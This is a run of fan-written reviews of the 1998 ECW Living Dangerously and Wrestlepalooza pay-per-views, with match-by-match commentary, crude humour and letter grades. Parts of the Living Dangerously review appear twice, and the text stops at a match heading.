Rating: D. The botches just killed it and in a match that doesn’t even go for six minutes that just sucked the life out of this one for me. This just wasn’t worth a PPV time slot but again to be fair they didn’t know that this would be the match. They at least realized the match sucked and ended it before it got out of hand.

Ad for the Hardcore Hotline. Also, you can get a FREE merchandise catalogue. That’s actually smart. Wrestlepalooza, which might be the best name ever, is in two months which is the shortest layoff yet so that’s a good sign.

We can’t air Sandman vs. Sabu because it’s graphic. Keep that in mind.

Nicole Bass, an annoying chick that thought she was a hot Chyna and Jason, an annoying guy, show up and demand that we see a tape. It’s of Dreamer showing up without Beaulah. Yeah that’s it. Tommy has his dog with him. That’s just cool for some reason.

Rob Van Dam vs. 2 Cold Scorpio

Van Dam is still a huge heel here but it’s lightening up a lot. Scorpio is over as free beer in a frat house. He’s Flash Funk at this point but here he’s just the simple 2 Cold Scorpio and therefore much better than he was in WWF. The more I hear the more I think Van Dam is already a face. They start with a long feeling out process which is fine as they do some decent technical stuff.

 

However, we of course get a botch because it’s ECW. Those things just suck the life out of a lot of matches. I understand that they are going to happen and at least here they covered it up a bit. In the previous match they just assumed no one noticed and thought it would be fine. That’s just freaking dumb. We get a very nice reversal sequence with a lot of monkey flips that ends with a standoff.

 

Very nice indeed. We hit the floor and Van Dam is in the crowd. Well you knew it was going to happen sooner or later I guess. I think they’re going for the big epic match here but the fans aren’t all happy with it which can’t be a good sign. To be fair though, most of the time not all fans are going to love the thing. The fans want Sandman apparently. That sums up ECW crowds pretty well.

 

We’re given a high flying technically mostly sound match, and the fans want weapons and blood and tables. So many times these fans were just ridiculous and stupid and this is one of them. Scorpio hits a SWEET moonsault. The Five Star which isn’t called that yet gets knees or what are called knees I suppose as it looked like it hit pretty well to me. We hit the ramp for awhile and the Van Daminator is more or less no sold. Hint for how to counter: HIT HIM WITH THE CHAIR. Seriously dude, use some freaking intelligence.

 

A piledriver on the ramp and Van Dam is hurt. And there goes the referee because in a no DQ match we need a referee for…? Van Dam tries to steal the 450 and would have missed completely anyway. Scorpio mostly hits the 450 and here’s Sabu to up the workrate. An Arabian Facebuster gets two. Sandman comes out to chase off Sabu. Van Dam gets a SWEET jumping rollup for the pin. Post match Van Dam acts very cocky and offers a handshake but Scorpio nails him to a big pop.

 

Sabu comes back with a table so they try to put Scorpio through it. Naturally this doesn’t work as Sandman makes the save. In a stupid moment, as Scorpio is laying on it and Sandman makes the save, he pops up as soon as Sandman is here. Yeah that didn’t look dumb at all. Sandman tries a hurricanrana from the top through the table on Sabu. Guess what happens. Go ahead and guess. Anyway, the two faces share a beer after the match. Sandman dances. This is disturbing.

Rating: B-. This was good, but it suffers from the same problem that it always does: Paul Heyman overbooking it. Can ANYONE explain to me why Sabu and Sandman had to come in there? I know RVD and Sabu are partners, but he had no business coming to ringside at all.

 

The match was rather good until they went to the floor and it became just another brawl. Why is wrestling so hard to do when you have two guys that are really good at it? I get that it’s a hardcore company, but at the end of the day it’s a wrestling company and should be about wrestling.

Ok so see if you can follow this one. That’s not me talking, that’s how Heyman starts the next video package. Are you freaking kidding me? The idea is that Storm was a Triple Threat (top heel stable) prospect and won the tag titles with Candido who was in Triple Threat.

 

Sunny showed up and got Candido to go insane and beat up Storm so they’re still champions but hate each other. I didn’t know Russo worked for ECW. Tonight there’s a tag match where they’re on other sides and both get to pick partners. The winners get nothing at all. They would hold the titles another THREE MONTHS before losing them. You think that’s long enough?

Dudley Boys vs. New Jack/Spike Dudley vs. Hardcore Chair Swingin Freaks

It’s elimination rules of course. Gertner’s intro is hilarious for Big Dick Dudley: “The man who last night took such liberties with YOUR mother that he is now legally your father in 17 states.” That is just awesome. About himself: “More tongue in cheek than a lesbian orgy” and “Joel, your girlfriend has me on speed dial because she loves the way I star 69 her, Gertner.” This guy is awesome.

 

He follows that up with “Currently getting jiggy with it to my left,” seriously, sign this guy now. The intro takes like 8 minutes but it’s hilarious. Balls and Axl come out and the brawl is on early. And after some ok stuff here’s New Jack with his weapons to screw the whole thing up. Oh dang it we have to listen to the freaking song again don’t we. Yep we do.

 

The music really throws things off as it keeps making me think that something important is happening or that the team who came out to it are winning. And yep it’s all weapons now. Spike keeps jumping all over the place because that’s the only thing he can do to make sense here. And now all six go into the crowd. Ok then. We’re at the merchandise stand now and Spike and New Jack dive like 15 feet to the floor through tables through the Dudleys.

 

Ok, when Mankind did it, it was cool. This was just mindless violence being substituted for wrestling. Keep in mind that ten minutes into this match the sang song is still playing. An Acid Drop through a table gets two for Spike as Bubba saves it since they want to eliminate Balls and Axl. And a 3D does just that. Twin guitar shots and an Acid Drop and a chair from the top ends this mess.

Rating: D. I hate these things. They’re just complete garbage and more than anything else, I hate that song. Why is this considered interesting or good or anything like that? Anyway, this was just like every other one of these that they did as in it was completely pointless and mindless crap.

We get a big long package about Justin Credible who was pushed to the freaking moon for years. The problem: the fans didn’t care or buy it. Why didn’t they? Simply put: he wasn’t any good. He was average as can be and that’s it.

Justin Credible vs. Tommy Dreamer

Jenna Jameson is the new reporter. Justin Credible comes out and says he has Beaulah so who needs Jenna. I would agree actually. Nicole Bass and Jason are with him and I honestly thought Bass was a man at first. Jenna tries to act tough and it just fails. Dreamer comes out and I have to hear her consistently say Tommy I love you (for those of you that don’t know, that’s my first name).

 

He kisses her and Joey says Dreamer goes where every man has gone before which made me laugh. Dreamer actually hits a plancha as we have a priest in the front row and we keep hearing about how Justin crossed a line. That amuses me to no end. And hey, what a shock, it’s a brawl. AGAIN Joey talks about the Sandman vs. Sabu match that we can’t show. Let it be made clear: WE CANNOT SHOW IT.

 

Yeah just remember that. Dreamer hits a running dropkick to the chair while Justin is in the Tree of Woe. We get kind of a Raven spot as Dreamer gets hit with a drop toehold into a chair. Ok, Justin doesn’t deserve to be WOOED on chops. Neither does Tommy to be fair. They use a chair for about ten spots in a row because that just makes things better or whatever. Dreamer hits a DEATH VALLEY Driver (screw that Spicolli nonsense. He was a drug addict and died after taking too many drugs.

 

He’s not some saint that deserves to be canonized. Let it go already.) which Justin no sells. The spinning, which adds nothing to it that I can see, tombstone hits and here’s Beaulah. She hits Justin low and does the same to Jason before DDTing him. Nicole puts her in a bearhug which she manages to botch.

 

Bass falls out of her top as Mikey Whipwreck, who feuded with Justin but has no bearing here comes in for the save. He has a bad leg and Justin breaks a crutch over his cast before Dreamer hits a DDT for the pin.

Rating: D+. What was the point of this again? I forgot with all the chair shots and nonsense going on. This was just more mindless fighting that nothing actually came from. I’m not huge on that as it just was stupid. And I like Tommy.

We get the same ad from earlier for the catalogue and PPV which apparently wasn’t supposed to air then.

Now we get what was supposed to air: Bigelow vs. Taz which was because Bigelow was getting beaten up by Triple Threat so he asked Taz to be his partner to fight them. Taz gets a great line: “I’m not gonna be your partner. I’m gonna be your savior.”

 

Keep in mind that was in his shouting voice. After Taz beats up Shane and says he wants to be world champion (the match didn’t happen for almost another year) Bigelow jumps him and reveals it was all a setup to stop Taz. That makes sense I guess.

TV Title: Taz vs. Bam Bam Bigelow

Remember that Bigelow is the hometown boy. I love how they announce Bigelow’s weight and Joey says a different one during the match. That always amuses me for some reason. Bigelow hits a great powerbomb. He was always great at that move. Shame Diesel was using it in WWF so Bigelow couldn’t do it. This is a long brawl but there’s some wrestling in there to balance it out I guess.

 

They hit the crowd for awhile and actually Taz gets some solid cheers. And then Bigelow gets suplexed off the ramp and to the floor and both nearly die. Because that’s clearly the big ratings draw here right? We go back to the ring and Bigelow uses power stuff which Taz gets to suplex his way out of. See, THAT is how Taz looks good: when it’s Shane or some small guy that he’s throwing around it just gets repetitive.

 

The suplexes are leverage moves and now he’s getting to show what he can do with that leverage, making it seem far more important. The tables are brought in as we just have to have those because the wrestling here clearly isn’t good enough. We brawl on the floor AGAIN as I grow to hate Heyman even more. It’s ok to just wrestle in the ring guys. The fans are really restless here as they were popping like cherries for the wrestling stuff.

 

Case in point: Taz takes a sign to the head, fans are dead/booing. They trade punches, crowd cheers. See? It’s not hard to just have wrestling. Tazmission is locked in and Bigelow drops him through the ring. They climb out and Bigelow pulls Taz up for the easy pin. It looked cool and the fans all freaked out over it, but Bigelow couldn’t win with his shoulder piledriver to give us a standard ending? I hate that.

Rating: D+. The brawling was just too much here. This match wanted so badly to be good but the brawling and the tables and the over the top nature of it just killed the thing. Paul just refused to accept the idea of two good wrestlers just getting out there and wrestling and that’s what wound up killing him off in the end. Sometimes the fans just want wrestling and while Paul tried to do that, he went too far most of the time and it killed things.

Heyman runs up and says the Kronus vs. Snow is cancelled and we’re going to see Sandman vs. Sabu from before the PPV, the PPV that the censors said WE CANNOT SEE. Ok, a few questions here. Number one, there was more adult stuff on PPV yet this is inappropriate? Number two, if this is such a hot feud, which it was I guess, why not have this on the PPV?

 

If they were upset that it couldn’t be shown, why would you film it and not air it? Everything else is live, so why wasn’t this? I get in something like UFC where they have the prelim fights taped in case something goes like 10 seconds. That makes sense as it’s a legit concern and if something like that does happen, they have something that they can plug in and give the fans a legit PPV.

 

However, you wouldn’t put St. Pierre in a prelim match that MIGHT make air. This whole thing with Joey constantly saying we can’t air it but there just happens to be full commentary for it anyway makes me shake my head. I guess if you think about it enough it could make sense, but you shouldn’t have to think that hard about it which is the point.

Sabu vs. Sandman

This is dueling canes. Sabu hits the ring second and gives him some fairly weak cane shots. And as Sandman takes over…Sabu runs in for the save? The first guy is RVD in disguise. That’s actually brilliant. Alfonso sends Van Dam to the back despite them destroying Sandman. That makes sense right? Anyway, this is your standard weapons/garbage match because neither can work more than two minutes without them.

 

Wait, where are the canes? I see no canes. Oh that’s right. It’s freaking ECW, meaning there’s no logic at all. It’s just Sabu beating up Sandman for about 10 minutes before Van Dam comes out to help him. There’s just nothing to talk about here at all as it’s terrible. Sabu beats up Sandman some more and the crooked ref of the week comes out to count the pin. This was awful.

Rating: F. What was the point of the canes match or whatever? What was the point of any of this actually? I just don’t get the point here at all as it wasn’t any good and it was just more mindless brawling which seems to be the theme for the show.

Back in the arena, everyone has Styrofoam Heads. Styles yells at Heyman for showing the match that the censors wanted to keep off the air. Apparently they didn’t fix the ring but the main event is happening anyway. Styles says he quits if this happens again with Paul. It’s convincing if you don’t think about it I guess.

Chris Candido/Shane Douglas vs. Lance Storm/???

Two guesses as to who Storm’s partner is given the heads out there. And the partner is Sunny, and you can see the screwjob from here. Storm and Candido do their usual thing which means its cool. Sunny comes in and we don’t have the catfight with Francine. OF COURSE Sunny makes the swerve that no one bought. The fans chant that they want Head.

 

For some reason they give Storm a mic while he’s in a camel clutch and as Candido asks what he’s going to give him, Storm says he’s going to give him head. And yep, Snow comes out. However, for no reason at all, they keep spinning the camera upside down at random intervals. It’s REALLY confusing and annoying. So after about a three minute brawl with Snow’s music playing and Shane falling through the hole in the ring, Snow gets the pin with a Snow Plow. The celebration ends the show.

Rating: N/A. This was way too short and way too over the top to grade. With the camera spinning and the lights going out I couldn’t really keep track of it. Seriously though, this was the main event: a four minute brawl that ends with a quick pin. That sums up everything to me.

Overall Rating: D. There was one title match and a 4 minute main event. How in the world does this validate a PPV show? This show had the skeleton of a good show there, but it just failed to deliver one. To be fair though, I think it’s because of Heyman more than anything else.

 

He just can’t let things stay the way they should be and it’s killing him. There just doesn’t need to be a chair or a big angle all the time and it weakened the show badly here. I wanted to like this show but I just couldn’t do it. They tried but they were running with an anchor. Only for ECW fans.

Remember to follow me on Twitter @kbreviews




Wrestlepalooza 1998 – Al Snow Main Events A PPV! Uh…….Why?

Wrestlepalooza 1998
Date: May 3, 1998
Location: Cobb County Civic Center, Marietta, Georgia
Attendance: 3,401
Commentator: Joey Styles

It’s been two months since Living Dangerously and not a lot has changed. It’s still Snow vs. Douglas as Snow’s insane rise in popularity continues. Candido and Storm are still champions that hate each other and are defending the belts tonight in a storyline that NO ONE has ever seen before. Van Dam has begun his two year long reign with the title and has his first big defense tonight: he’s fighting Sabu. Oh this could hurt a lot. Let’s get to this as the card looks somewhere between bad and ok.

We do the intro video before the show introduction this time which I like a lot better. The other way just takes me out of the show for some reason. It usually feels like they forgot to do the show opening or something and then went back to it.

F.B.I. vs. BWO

Suddenly I want some alphabet soup. It’s Tracy Smothers and Guido vs. Super Nova and Blue Meanie. The BWO itself is actually over and dead but they both wear blue and team together still so there we are. I want to hit Tommy Rich. The guy is just freaking annoying. He gets a huge F YOU chant directed at him so at least Georgia fans are intelligent. Nova and Guido, the two talented guys, start us out.

Nova is a superhero by the way. Meanie is just a fat guy that has nothing else going for him. Nova is well known for having a very unorthodox offense and it’s on display here. Meanie comes in and Rich says we need to have a dance contest. And the referee dances too. THANKFULLY Smothers jumps Meanie to end this mindlessness. And the referee slams both heels to get two on Smothers. What the heck am I watching???

Finally we get something sensible as Smothers hits a nice bicycle kick to Nova’s head. Meanie can’t even get into the ring correctly. This is what critics mean when they say this company was a joke. When you’re that sloppy, you have no business being in a ring on a major show at all. Meanie misses the moonsault, which is just about the only move Meanie could do without injuring someone else. Nova hits a downward spiral for the pin. And the faces do the YMCA afterwards. My head hurts again.

Rating: D+. It wasn’t bad, but for the most part it was an unfunny comedy match. Nova was cool, but other than that there was just noting at all that stood out here for me. Meanie was just a fat tub of goo that never did anything of note outside of ECW (Bluedust was nothing of note and yes I know he was in WWF for awhile) and the FBI were always annoying to me. It’s not bad but it’s nothing to write home about, or better yet it’s nothing to review. Wait what?

We recap Justin Credible vs. Mikey Whipwreck. This feud is STILL going? This was just a way to get Justin over which completely failed as there was one simple problem: Justin wasn’t any good. Paul kept trying to tell us he was but it simply wasn’t there. Justin got pushed until the company folded and was getting said push over guys like RVD. That should explain a lot to you.

Justin Credible vs. Mikey Whipwreck

So Mikey’s destroyed knee is all of a sudden fine. Good to know. He gets some good punches in and we’re on the floor already. They throw Justin into the crowd and he more or less crushes a fan. I get that this is a different kind of company, but dude, don’t half crush your fans. Justin shoves Mikey off the apron so that he crashes into the guard rail. We have our first chair of the evening and Mikey takes a SICK bump into it.

That looked like it would have nearly killed him but of course he’s fine. The fans chant Aldo at Justin. He was Aldo Montoya in WWF in case you didn’t know that. If nothing else he gets a nice counter to the Whippersnapper (Stunner, which Mikey used way before Austin) by just hooking him in a reverse DDT. It was very nice indeed. These fans are really annoying.

I get that they’re a major aspect of ECW, but to fans like me who aren’t huge fans and are the audience that ECW needed to grab in order to stay in business, they’re very annoying indeed. Justin gets suplexed through a table which of course is impressive even though we see it about five times a show.

And now it’s just about the chair and nothing else. It’s just big spot, two count, chair spot, two count, big spot, two count over and over again. Chastity, the valet of Credible, takes a BAD Whippersnapper off the top. And Justin gets the tombstone out of nowhere onto the chair for the pin. I hated that ending.

Rating: D+. So in other words, Justin lost twice in a row but he gets a more or less fluke win here and he wins the feud. ECW and most other wrestling companies have a major problem with this and it drives me insane. Just because you win the last match in a feud doesn’t mean you win the feud. Take Dreamer vs. Raven for example: Dreamer “won” the feud, but he lost probably 100 times and got one victory. How does that make him the winner?

As for this match, the ending was just big spot after big spot and then Justin got the tombstone for the random pin. That’s supposed to make sense I guess. Justin, who is supposed to be the best wrestler in the world according to Heyman, did nothing other than a throw into the guard rail all match but hits one big move to win the thing. That’s GREAT wrestling indeed Paul.

Rotten and Mahoney want their shot at the titles. They demand a shot and just get one. Ok then.

ECW Tag Titles: Hardcore Chair Swinging Freaks vs. Chris Candido/Lance Storm

They still hate each other and even though they don’t get along and fight each other, they manage to beat every team in the company as they do it. Don’t you just love Heyman’s brilliance? Mind you the challengers were in the arena to make their challenge yet the champions are here first. In a funny spot, they argue over who gets top billing. Oh I get it now: the champions came to the ring and were introduced before they actually accepted the challenge. Is Heyman even thinking?

The Freaks are Axl Rotten and Balls Mahoney in case you were wondering. To my surprise we start with a wrestling sequence. Something tells me this isn’t going to last long. Good night Balls Mahoney is worthless. Rotten is trying to wrestle which works ok but it’s hard to take a guy who wrestles for a team called the Hardcore Chair Swingin Freaks seriously. They do a standard tag match here and it’s really not that bad. I’m very surprised. Rotten throws chops and the fans WOO.

They start a BRING IN FLAIR chant and my head begins to hurt. First off, just no. Second off, isn’t that exactly what ECW is supposed to be against? Third of all, I love how they just assume Heyman can afford that. The fans were stupid at times and were dragged around by Heyman by their noses. It’s really pathetic at times. Sunny shows up and the champions fight over Storm saving her. “Hey! You keep your hands off my fiancé! If she dies who cares??? YOU JUST STAY AWAY!”

And now we get to the flat out stupid part of the match. Balls hits his finisher. There’s no one around. They should win the titles. He goes to get a chair. That’s almost understandable I guess. Now let’s have the stupid part. He turns around with the chair in his hand and Storm jumps up with a springboard to come at Mahoney.

What does he do you ask? Does he throw the chair at Storm? Does he, oh I don’t know, MOVE? Nope. He puts the chair in front of his face so Storm can kick it into Balls’ head. That was just pathetic looking. On and Candido hits Storm with the chair so he can get the pin and they fight back to the locker room. This has NEVER been done before!

Rating: C+. Other than the freaking idiotic stuff at the end, this was ok. The key thing: for the most part they kept things toned down and had a wrestling match. Since Barely Legal they’ve toned the violence down a good bit and it’s been helping a lot. This was ok and would have been a lot better had the ending not sucked as much.

Ad for the merchandise catalogue and Heat Wave 98. That one’s coming soon.

We have a “Legends” ceremony from earlier. It’s Junkyard Dog, Dick Slater, Masked Superstar (Ax from Demolition) and Bullet Bob Armstrong. You know, a bunch of old NWA guys, because ECW and the NWA got along SO well. This was a nice idea, but when you look at it this was just stupid.

Shane Douglas, who is apparently held together with tape at this point, is brought out to be told about how tough he is. So despite all these injuries, it’s fairly obvious he’ll win tonight. We’ll get to the pure idiocy of this later. He runs down the WWF and Shawn, who had just left with the broken back that kept him out for four and a half years. Oh and he runs Flair down too. If Shane drew in the entire run of ECW what Flair or Shawn drew in a single year, I’d be stunned.

This is just Shane saying how great he is and how tough he is and how tonight might be his last match. Taz comes out to tease their showdown. Nope, we’ve still got another 8 months before that because the top face vs. the top heel isn’t a match we can have when the fans are begging for it of course. We get what might be the first F Bomb on an ECW PPV. Taz demands the Title be handed to him instead of you know, winning it.

Taz does a weird looking choke out that wasn’t the Tazmission and security breaks it up. Like I said, this match wouldn’t happen for EIGHT MONTHS. What they were waiting on is beyond me. Bigelow comes out to fight Taz and that’s broken up too. They handcuff Taz and arrest him for no logical reason as Shane is spitting up blood. I love how Shane runs down Shawn but he’s going to do the same thing: make this big come from behind win over Snow which makes NO sense but they did it anyway so Shane can look awesome all over again.

Oh dang it we have a New Jack match now.

Bam Bam Bigelow vs. New Jack

GAH IT’S THIS STUPID SONG!!! Seriously, who thought this was a good idea? New Jack is going to get destroyed other than some weapons shots because the guy can’t wrestle a freaking match to save his life but hey, let’s play his song while he’s getting killed. Yep, 30 seconds in and we have weapons. Why is this appealing at all? It’s just mindless violence that has no business being called wrestling.

Bigelow is better than this on so many levels and it’s not even funny. We’re in the crowd now as that song is still playing. Bigelow just throws chairs at him as this is supposed to be entertaining. I get that some fans want this, but it makes the whole company look amateurish as a result. If this was still a regional promotion, this would be just fine. But it’s not a regional company anymore.

They wanted to go national but they can’t let go of the hardcore nonsense and it’s really hurting the product quite a bit. This is going to get at least ten minutes of about three hours. And New Jack jumps off a balcony with a guitar shot to Bigelow’s head. So even though that should likely kill both of them, the fans cheer.

And now let’s just lay around for awhile because that’s a great use of PPV time. Ok to be fair almost all wrestling companies do the laying around thing. Bigelow hits the Greetings From Asbury Park which doesn’t connect at all but whatever. At least it’s over.

Rating: F. I get why it’s here, but it still sucked and was completely worthless. At least we get Welcome to the Jungle. I hate these matches or whatever they are.

We see Dreamer and Sandman getting beaten up by the Dudleys set to a ballad of all things. That was odd.

Dudley Boys vs. Tommy Dreamer/Sandman

Sandman cuts off the always funny Gertner entrance but the song makes up for it a bit. Beaulah is about as close to perfect as you can get. This is another “grudge” match where the grudge was developed between PPVs with no explanation as to what started it or any useless information like that. I get that Sandman’s entrance is cool, but they need to cut a minute or two out of it as it just goes on forever. Yep this is going to be a massive brawl because it’s been a full 4 minutes since we saw one of those.

And there’s the first table and my eyes roll immediately. This of course devolves into a massive brawl that has no semblance of anything noteworthy at all. We get some great shots of Beaulah and that’s about it. Sandman leaves because of his neck and after about five minutes of Tommy being murdered, Spike more or less replaces Sandman.

He gets a 3D for trying to save Beaulah but Sandman comes back in a neck brace. Yeah because he was able to see the doctor and the doctor released him inside of five minutes I guess. A pair of DDTs end this and the Dudleys lose.

Rating: D-. Only reason this isn’t failing is I’ve always thought Beaulah was beyond sexy. This was just ridiculous as Dreamer survived what should have killed him to come back and be fine. It was just a total mess and it wasn’t entertaining for the most part. They had no idea what to do with the Dudleys at this point.

So Sabu had a TV Title shot here tonight against Bigelow and he sent RVD, his partner, in to beat Bigelow up a bit but Van Dam wound up winning the title, leading to this. That’s actually decent.

TV Title: Rob Van Dam vs. Sabu

Something tells me we’re going to have a ton of weapons here and I base that on the fact that it’s a Sabu match. Van Dam gets on the mic after they feel each other out a bit and says this isn’t going to happen and it was a plan. Sabu of course goes after him anyway and makes the speech completely pointless. They actually go four minutes with no weapons. That has to be a record of some kind for Sabu.

We go back to the ring at about 8 minutes in for a change of pace. Oh never mind the chair is there with him. And hey we go back to the floor AGAIN. Joey talks about how brutal it is. I couldn’t agree more. In an impressive spot, Van Dam manages to crotch himself on the guard rail when there’s no guard rail underneath him. Joey: Sabu is deadly at throwing chairs. That can’t be a good sign.

Sabu of course kicks out of the Van Daminator and the Five Star because that’s perfectly reasonable. We’ve been going about half an hour now and I think I know what’s coming. I know this isn’t a lot of text for that long of a match but it’s been about 15 minutes of them just wasting time or laying around or setting up tables and chairs.

There’s been more or less nothing of note here and I’m sure some ECW fan will explain to me that I just don’t get this match and why it’s so great. I’d love one day to watch one of these shows with an ECW fan and hear them try to defend it. Sabu kicks out of the Five Star through a table. Yep that’s perfectly realistic. The move known as Starship Pain gets two and then Sabu gets two and the bell rings for the STUPID time limit draw. They yell at each other for a long time.

Rating: D. There were some interesting drama spots near the end but for the most part this match sucked. There was so much time spent laying around and ridiculous kicking out of moves that it just stopped being interesting. Most of it was on the floor and Sabu of course botched half of what he did. This was ridiculous and the third match in a row that was stupid, and considering the obvious ending coming up, this isn’t going to be a highly received show.

We hear from Shane who reminds us that he’s VERY hurt. We get WAY too long of a recap of Shane’s career and a quick thing from Snow saying he’ll win.

ECW World Title: Al Snow vs. Shane Douglas

So Snow is more or less the hottest thing in the company’s history as everyone likes him and he’s having the best matches of his career. Shane is hurt beyond belief here so to have him win would tick off the audience and completely bury Snow more or less guarantees that Shane will keep the belt here. This starts off like a good showdown match: with both guys being in control for a good while.

This is actually decent stuff with both guys only using a chair. Snow actually kicks out of the belly to belly suplex which anywhere else would be nothing but here it’s a big deal apparently. There’s also no interference for the most part until the locker room empties to watch the match. After a Francine run in, Snow goes up top for a sunset flip which completely misses and Shane drops down for the pin.

The fans go DEAD. I mean they are as quiet as any fans ever have been in ECW history. This was just stupid booking and you can tell Joey thinks so too. This would have been like Austin losing to Michaels at Mania 14.

Rating: D+. And that’s being generous. The problem was that Heyman had booked himself into a corner as he had Taz vs. Shane which he had to build to but Snow was WAY more over than both guys and should have won the title here. However, it had to be about Shane again who no one cared about other than like 8 people. Again, he held the title EIGHT more months after this, FINALLY losing it to Taz in January before leaving a little while later.

The problem was that Snow or Taz should have had the title but by the time they pulled the trigger with Taz the company was in major trouble. Snow was literally on Raw the next night and not seen in ECW again, and why should he have been? He just lost the biggest push of his career and was more or less crippled so that Shane Douglas could get another big push. And people wonder why ECW isn’t around today.

Overall Rating: F. This show was just bad as NOTHING happened here. Seriously, the TV Title match goes to a draw, Heyman’s idiocy eats Al Snow for a solid meal, the Storm/Candido feud is STILL going on and burying a team at a time, Sandman and Dreamer beat the best team in the company despite one being in a neck brace and Credible is apparently cool for beating up a comedy champion.

What was the point here? The Snow thing is just inexcusable, period. It’s stupid stuff like this that caused Heyman to be out of business and he should be considering this crap. Oh and someone PLEASE defend RVD vs. Sabu. I want you to.




Living Dangerously 1998 – The Beginning Of The End

Living Dangerously 1998
Date: March 1, 1998
Location: Asbury Park Convention Center, Asbury Park, New Jersey
Attendance: 3,700
Commentator: Joey Styles

It’s been about four to five months since our last outing and only one thing has really changed: Al Snow. He’s risen to prominence now with the Head gimmick and he is having a match tonight with Kronus to showcase himself. Also Storm is feuding with Candido because Storm got thrown out of his spot as a Triple Threat prospect.

 

Jerry Lynn/Chris Chetti vs. F.B.I.

Chetti was the first graduate of the House of Hardcore, the ECW wrestling school, which I know because Joey says that Chris Chetti was the first graduate of the House of Hardcore, the ECW wrestling school. The F.B.I. are all dancing for some reason. This is Guido and Smothers in case you were wondering.

 

Lynn had little credibility at this point but he was getting more popular. Chetti is introduced as the first graduate of the House of Hardcore, the ECW wrestling school. The fans don’t like Smothers, like at all. Maybe Lynn has more credibility at this point than I thought. Ok the WOO for chops is getting annoying.

 

Lynn takes out both guys with a nice looking dive from the top. Rich accidentally nails Chetti. Wait what? That’s what Joey said but it makes no sense. That’s not something I usually have to say about him. He annoys me but to be fair he doesn’t make many huge mistakes. Also to be fair, another guy up there might catch his errors, which are understandable.

 

Chetti hooks a small package but Lynn messes up and has the referee. Again Chris gets the cover on a rollup but there’s no referee. Chetti gets a nice spot where he runs up the corner and comes back with a reverse leg lariat. That was pretty sweet. He finally gets the hot tag to Lynn who cleans house including a jumping back elbow which makes him awesome. Rick comes in with an Italian flag but the shot misses and hits Guido, giving Lynn a rollup for the win.

Rating: C+. Not bad at all. It was pretty fast paced and formula based so everything went fine there. It got the crowd into the show which is never a problem that this place has so that kind of makes these matches redundant. Even still, this was fine.

Joey says Wing Kanemura isn’t here so of course we get a video package anyway on him. He’s not here. Ok then.

Lance Wright, some jerk in a bad suit that says he works for Vince, says that tonight it’s Doug Furnas vs. Tanaka. This guy is really annoying.

Masato Tanaka vs. Doug Furnas

So I watched the whole match before I started writing about it and the only word to describe it is sloppy beyond all belief. I mean they botch a ton of stuff here and it’s not like they’re little spots. They botch BIG spots. Tanaka tries for a tornado DDT but it turns into them just falling all over each other.

 

I guess you can chalk some of this up to them having limited time to prepare, but at the same time these are pros and shouldn’t have to deal with things like this. The fans are booing the heck out of this match and I can’t say for a second that I blame them. It’s just amateurish looking to say the least.

 

A botch here and there is one thing but this is awful. Tanaka ends this nightmare with a roaring elbow. Ok so it wasn’t all botches but still there were FAR too many in here to be acceptable. Post match Wright talks about WWF higher ups and Furnas nails him before putting on an ECW shirt, and I’m assuming defecting or something like that.

Rating: D. The botches just killed it and in a match that doesn’t even go for six minutes that just sucked the life out of this one for me. This just wasn’t worth a PPV time slot but again to be fair they didn’t know that this would be the match. They at least realized the match sucked and ended it before it got out of hand.

Ad for the Hardcore Hotline. Also, you can get a FREE merchandise catalogue. That’s actually smart. Wrestlepalooza, which might be the best name ever, is in two months which is the shortest layoff yet so that’s a good sign.

We can’t air Sandman vs. Sabu because it’s graphic. Keep that in mind.

Nicole Bass, an annoying chick that thought she was a hot Chyna and Jason, an annoying guy, show up and demand that we see a tape. It’s of Dreamer showing up without Beaulah. Yeah that’s it. Tommy has his dog with him. That’s just cool for some reason.

Rob Van Dam vs. 2 Cold Scorpio

Van Dam is still a huge heel here but it’s lightening up a lot. Scorpio is over at least. He’s Flash Funk at this point but here he’s just the simple 2 Cold Scorpio and therefore much better than he was in WWF. The more I hear the more I think Van Dam is already a face. They start with a long feeling out process which is fine as they do some decent technical stuff.

 

However, we of course get a botch because it’s ECW. Those things just suck the life out of a lot of matches. I understand that they are going to happen and at least here they covered it up a bit. In the previous match they just assumed no one noticed and thought it would be fine. That’s just freaking dumb. We get a very nice reversal sequence with a lot of monkey flips that ends with a standoff.

 

Very nice indeed. We hit the floor and Van Dam is in the crowd. Well you knew it was going to happen sooner or later I guess. I think they’re going for the big epic match here but the fans aren’t all happy with it which can’t be a good sign. To be fair though, most of the time not all fans are going to love the thing. The fans want Sandman apparently. That sums up ECW crowds pretty well.

 

We’re given a high flying technically mostly sound match, and the fans want weapons and blood and tables. So many times these fans were just ridiculous and stupid and this is one of them. Scorpio hits a SWEET moonsault. The Five Star which isn’t called that yet gets knees or what are called knees I suppose as it looked like it hit pretty well to me. We hit the ramp for awhile and the Van Daminator is more or less no sold. Hint for how to counter: HIT HIM WITH THE CHAIR. Seriously dude, use some freaking intelligence.

 

A piledriver on the ramp and Van Dam is hurt. And there goes the referee because in a no DQ match we need a referee for…? Van Dam tries to steal the 450 and would have missed completely anyway. Scorpio mostly hits the 450 and here’s Sabu to up the workrate. An Arabian Facebuster gets two. Sandman comes out to chase off Sabu. Van Dam gets a SWEET jumping rollup for the pin. Post match Van Dam acts very cocky and offers a handshake but Scorpio nails him to a big pop.

 

Sabu comes back with a table so they try to put Scorpio through it. Naturally this doesn’t work as Sandman makes the save. In a stupid moment, as Scorpio is laying on it and Sandman makes the save, he pops up as soon as Sandman is here. Yeah that didn’t look dumb at all. Sandman tries a hurricanrana from the top through the table on Sabu. Guess what happens. Go ahead and guess. Anyway, the two faces share a beer after the match. Sandman dances. This is disturbing.

Rating: B-. This was good, but it suffers from the same problem that it always does: Paul Heyman overbooking it. Can ANYONE explain to me why Sabu and Sandman had to come in there? I know RVD and Sabu are partners, but he had no business coming to ringside at all.

 

The match was rather good until they went to the floor and it became just another brawl. Why is wrestling so hard to do when you have two guys that are really good at it? I get that it’s a hardcore company, but at the end of the day it’s a wrestling company and should be about wrestling.

Ok so see if you can follow this one. That’s not me talking, that’s how Heyman starts the next video package. Are you freaking kidding me? The idea is that Storm was a Triple Threat (top heel stable) prospect and won the tag titles with Candido who was in Triple Threat.

 

Sunny showed up and got Candido to go insane and beat up Storm so they’re still champions but hate each other. I didn’t know Russo worked for ECW. Tonight there’s a tag match where they’re on other sides and both get to pick partners. The winners get nothing at all. They would hold the titles another THREE MONTHS before losing them. You think that’s long enough?

Dudley Boys vs. New Jack/Spike Dudley vs. Hardcore Chair Swingin Freaks

